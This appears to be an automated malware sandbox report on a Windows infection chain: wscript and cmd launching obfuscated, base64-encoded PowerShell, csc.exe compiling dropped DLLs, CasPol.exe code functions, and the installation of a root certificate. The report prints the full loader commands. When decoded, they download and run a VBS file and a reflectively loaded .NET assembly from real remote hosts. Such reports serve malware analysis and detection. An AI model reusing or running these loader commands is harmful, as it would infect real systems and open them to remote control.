invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE9vVEtBcks0aXBNckg4TjBqaWJYclBZSm9GdmpxYUs1MHFHdyZ0cmFjaz1rclVOeXdFSiZza2lwcmVnPXRydWUmcGtfdmlkPWE2YTkyNjY0Mzg5MzcxNGUxNzMyNzA4OTE0MWQ5NDMyICc7JGVuZ29tYXIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRyZXNvID0gJGVuZ29tYXIuRG93bmxvYWREYXRhKCRsYXNpYW50aGVyYSk7JGFmcmFnYXIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzbyk7JGJ1ZmlkbyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskZXN0ZW5kYXJpYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGFzbmFtZW50byA9ICRhZnJhZ2FyLkluZGV4T2YoJGJ1Zmlkbyk7JHRyaWJ1bCA9ICRhZnJhZ2FyLkluZGV4T2YoJGVzdGVuZGFyaWEpOyRhc25hbWVudG8gLWdlIDAgLWFuZCAkdHJpYnVsIC1ndCAkYXNuYW1lbnRvOyRhc25hbWVudG8gKz0gJGJ1Zmlkby5MZW5ndGg7JHJhbmNhdHJpbGhhID0gJHRyaWJ1bCAtICRhc25hbWVudG87JGx1cmdvID0gJGFmcmFnYXIuU3Vic3RyaW5nKCRhc25hbWVudG8sICRyYW5jYXRyaWxoYSk7JHRhbGlzY2EgPSAtam9pbiAoJGx1cmdvLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRsdXJnby5MZW5ndGgpXTskbHVmYWRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdGFsaXNjYSk7JGluY29udGFtaW5hZG8gPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRsdWZhZGEpOyRmb2xpZm9ybWUgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVlZGR1IvOTA4LzY2MS41NzEuMjMyLjI3MS8vOnB0dGgnLCAnJHN1c3RvJywgJyRzdXN0bycsICckc3VzdG8nLCAnQ2FzUG9sJywgJyRzdXN0bycsICckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCcxJywnJHN1c3RvJykpOw==';$lavajo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($desprover));Invoke-Expression $lavajo
                Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE9vVEtBcks0aXBNckg4TjBqaWJYclBZSm9GdmpxYUs1MHFHdyZ0cmFjaz1rclVOeXdFSiZza2lwcmVnPXRydWUmcGtfdmlkPWE2YTkyNjY0Mzg5MzcxNGUxNzMyNzA4OTE0MWQ5NDMyICc7JGVuZ29tYXIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRyZXNvID0gJGVuZ29tYXIuRG93bmxvYWREYXRhKCRsYXNpYW50aGVyYSk7JGFmcmFnYXIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzbyk7JGJ1ZmlkbyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskZXN0ZW5kYXJpYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGFzbmFtZW50byA9ICRhZnJhZ2FyLkluZGV4T2YoJGJ1Zmlkbyk7JHRyaWJ1bCA9ICRhZnJhZ2FyLkluZGV4T2YoJGVzdGVuZGFyaWEpOyRhc25hbWVudG8gLWdlIDAgLWFuZCAkdHJpYnVsIC1ndCAkYXNuYW1lbnRvOyRhc25hbWVudG8gKz0gJGJ1Zmlkby5MZW5ndGg7JHJhbmNhdHJpbGhhID0gJHRyaWJ1bCAtICRhc25hbWVudG87JGx1cmdvID0gJGFmcmFnYXIuU3Vic3RyaW5nKCRhc25hbWVudG8sICRyYW5jYXRyaWxoYSk7JHRhbGlzY2EgPSAtam9pbiAoJGx1cmdvLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRsdXJnby5MZW5ndGgpXTskbHVmYWRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdGFsaXNjYSk7JGluY29udGFtaW5hZG8gPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRsdWZhZGEpOyRmb2xpZm9ybWUgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVlZGR1IvOTA4LzY2MS41NzEuMjMyLjI3MS8vOnB0dGgnLCAnJHN1c3RvJywgJyRzdXN0bycsICckc3VzdG8nLCAnQ2FzUG9sJywgJyRzdXN0bycsICckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCcxJywnJHN1c3RvJykpOw==';$lavajo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($desprover));Invoke-Expression $lavajo
                Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"Jump to behavior
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE9vVEtBcks0aXBNckg4TjBqaWJYclBZSm9GdmpxYUs1MHFHdyZ0cmFjaz1rclVOeXdFSiZza2lwcmVnPXRydWUmcGtfdmlkPWE2YTkyNjY0Mzg5MzcxNGUxNzMyNzA4OTE0MWQ5NDMyICc7JGVuZ29tYXIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRyZXNvID0gJGVuZ29tYXIuRG93bmxvYWREYXRhKCRsYXNpYW50aGVyYSk7JGFmcmFnYXIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzbyk7JGJ1ZmlkbyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskZXN0ZW5kYXJpYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGFzbmFtZW50byA9ICRhZnJhZ2FyLkluZGV4T2YoJGJ1Zmlkbyk7JHRyaWJ1bCA9ICRhZnJhZ2FyLkluZGV4T2YoJGVzdGVuZGFyaWEpOyRhc25hbWVudG8gLWdlIDAgLWFuZCAkdHJpYnVsIC1ndCAkYXNuYW1lbnRvOyRhc25hbWVudG8gKz0gJGJ1Zmlkby5MZW5ndGg7JHJhbmNhdHJpbGhhID0gJHRyaWJ1bCAtICRhc25hbWVudG87JGx1cmdvID0gJGFmcmFnYXIuU3Vic3RyaW5nKCRhc25hbWVudG8sICRyYW5jYXRyaWxoYSk7JHRhbGlzY2EgPSAtam9pbiAoJGx1cmdvLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRsdXJnby5MZW5ndGgpXTskbHVmYWRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdGFsaXNjYSk7JGluY29udGFtaW5hZG8gPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRsdWZhZGEpOyRmb2xpZm9ybWUgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVlZGR1IvOTA4LzY2MS41NzEuMjMyLjI3MS8vOnB0dGgnLCAnJHN1c3RvJywgJyRzdXN0bycsICckc3VzdG8nLCAnQ2FzUG9sJywgJyRzdXN0bycsICckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCcxJywnJHN1c3RvJykpOw==';$lavajo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($desprover));Invoke-Expression $lavajoJump to behavior
                Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwErsheLl.exe -Ex ByPass -NOP -W 1 -C deVicecrEdENtIaLdEPlOymENt ; invokE-EXprESsiOn($(InVOKe-eXPReSsIoN('[syStEm.texT.ENCodinG]'+[chAR]0X3a+[chAr]0X3a+'UTf8.gEtsTRiNG([sysTem.cONVeRT]'+[cHaR]0X3a+[Char]0X3A+'fROmbase64sTRING('+[chAr]0X22+'JFh0UWVUaiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRkLVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iZXJkRUZJTml0SW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsbU9uLmRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgblRFT3csc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZYVJhaExoVyx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhc29xTmNQLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV2EpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiR1ZLVmx0ViIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU1BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEVyYU1ZYlNPdmogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRYdFFlVGo6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjMyLjE3NS4xNjYvODA5L2NyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvcmV2ZXIudElGIiwiJGVuVjpBUFBEQVRBXGNyZWF0ZWRiZXN0dGhpZ25zd2lodGVudGlyZXRpbWVnaXZlbm1lYmVzdGZvci52YlMiLDAsMCk7U1RBclQtU0xlRVAoMyk7aWkgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcY3JlYXRlZGJlc3R0aGlnbnN3aWh0ZW50aXJldGltZWdpdmVubWViZXN0Zm9yLnZiUyI='+[Char]34+'))')))"
                Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $desprover = 'JGxhc2lhbnRoZXJhID0gJ2h0dHBzOi8vMzAxMi5maWxlbWFpbC5jb20vYXBpL2ZpbGUvZ2V0P2ZpbGVrZXk9T0YwZ0ZjeE1RQ1V3UFlsZVR5YjJZaDlhQlRwUmw5X0tfTE9vVEtBcks0aXBNckg4TjBqaWJYclBZSm9GdmpxYUs1MHFHdyZ0cmFjaz1rclVOeXdFSiZza2lwcmVnPXRydWUmcGtfdmlkPWE2YTkyNjY0Mzg5MzcxNGUxNzMyNzA4OTE0MWQ5NDMyICc7JGVuZ29tYXIgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRyZXNvID0gJGVuZ29tYXIuRG93bmxvYWREYXRhKCRsYXNpYW50aGVyYSk7JGFmcmFnYXIgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkcmVzbyk7JGJ1ZmlkbyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskZXN0ZW5kYXJpYSA9ICc8PEJBU0U2NF9FTkQ+Pic7JGFzbmFtZW50byA9ICRhZnJhZ2FyLkluZGV4T2YoJGJ1Zmlkbyk7JHRyaWJ1bCA9ICRhZnJhZ2FyLkluZGV4T2YoJGVzdGVuZGFyaWEpOyRhc25hbWVudG8gLWdlIDAgLWFuZCAkdHJpYnVsIC1ndCAkYXNuYW1lbnRvOyRhc25hbWVudG8gKz0gJGJ1Zmlkby5MZW5ndGg7JHJhbmNhdHJpbGhhID0gJHRyaWJ1bCAtICRhc25hbWVudG87JGx1cmdvID0gJGFmcmFnYXIuU3Vic3RyaW5nKCRhc25hbWVudG8sICRyYW5jYXRyaWxoYSk7JHRhbGlzY2EgPSAtam9pbiAoJGx1cmdvLlRvQ2hhckFycmF5KCkgfCBGb3JFYWNoLU9iamVjdCB7ICRfIH0pWy0xLi4tKCRsdXJnby5MZW5ndGgpXTskbHVmYWRhID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdGFsaXNjYSk7JGluY29udGFtaW5hZG8gPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRsdWZhZGEpOyRmb2xpZm9ybWUgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKCdWQUknKTskZm9saWZvcm1lLkludm9rZSgkbnVsbCwgQCgndHh0LkZHVlZGR1IvOTA4LzY2MS41NzEuMjMyLjI3MS8vOnB0dGgnLCAnJHN1c3RvJywgJyRzdXN0bycsICckc3VzdG8nLCAnQ2FzUG9sJywgJyRzdXN0bycsICckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCckc3VzdG8nLCcxJywnJHN1c3RvJykpOw==';$lavajo = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($desprover));Invoke-Expression $lavajo
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.cmdline"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\oerqobky\oerqobky.cmdline"
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.cmdline"Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\oerqobky\oerqobky.cmdline"
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0041BCE3 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,29_2_0041BCE3
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_000007FE8964022D push eax; iretd 8_2_000007FE89640241
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_000007FE896400BD pushad ; iretd 8_2_000007FE896400C1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_004567E0 push eax; ret 29_2_004567FE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0045B9DD push esi; ret 29_2_0045B9E6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00463EF3 push ds; retf 29_2_00463EEC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00455EAF push ecx; ret 29_2_00455EC2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00433FF6 push ecx; ret 29_2_00434009
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0044693D push ecx; ret 30_2_0044694D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0044DB70 push eax; ret 30_2_0044DB84
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0044DB70 push eax; ret 30_2_0044DBAC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00451D54 push eax; ret 30_2_00451D61
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_0044B090 push eax; ret 31_2_0044B0A4
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_0044B090 push eax; ret 31_2_0044B0CC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_00451D34 push eax; ret 31_2_00451D41
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_00444E71 push ecx; ret 31_2_00444E81
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 32_2_00414060 push eax; ret 32_2_00414074
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 32_2_00414060 push eax; ret 32_2_0041409C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 32_2_00414039 push ecx; ret 32_2_00414049
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 32_2_004164EB push 0000006Ah; retf 32_2_004165C4
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 32_2_00416553 push 0000006Ah; retf 32_2_004165C4
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 32_2_00416555 push 0000006Ah; retf 32_2_004165C4

                Persistence and Installation Behavior

                barindex
                Installs new ROOT certificates
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeRegistry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C BlobJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00406128 ShellExecuteW,URLDownloadToFileW,29_2_00406128
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.dllJump to dropped file
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeFile created: C:\Users\user\AppData\Local\Temp\oerqobky\oerqobky.dllJump to dropped file
